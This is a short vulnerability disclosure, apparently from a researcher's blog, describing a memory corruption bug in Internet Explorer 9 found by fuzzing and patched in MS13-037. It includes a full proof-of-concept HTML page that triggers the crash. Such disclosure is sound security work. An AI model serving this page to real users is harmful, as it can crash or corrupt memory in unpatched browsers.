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<!-- Source: http://blog.skylined.nl/20161207001.html Synopsis A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability. Known affected software and attack vectors Microsoft Internet Explorer 9 An attacker would need to get a target user to open a specially crafted web-page. JavaScript does not appear to be required for an attacker to triggering the vulnerable code path. Details This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. The ZDI did do a more thorough analysis and provide some details in their advisory. I have included a number of reports created using a predecessor of BugId below. Repro.html: --> <!doctype html> <html> <head> <script> window.onload=function(){location.reload();}; </script> </head> <body> <var> <img class="float" ismap="ismap" usemap="map"/> <map id="map"><area/></map> <dfn class="float"></dfn> <a class="float"></a> <input class="zoom"/> text </var> <q class="border float zoom" xml:space="preserve"></q> </body> <style type="text/css"> .float { float:left; } .zoom { zoom:3000%; } .border::first-letter { border-top:1px; } </style> </html> <!-- Time-line 1 November 2012: This vulnerability was found through fuzzing. 2 November 2012: This vulnerability was submitted to ZDI. 19 November 2012: This vulnerability was acquired by ZDI. 4 February 2013: This vulnerability was disclosed to Microsoft by ZDI. 29 May 2013: Microsoft addresses this vulnerability in MS13-037. 7 December 2016: Details of this vulnerability are released. --> |
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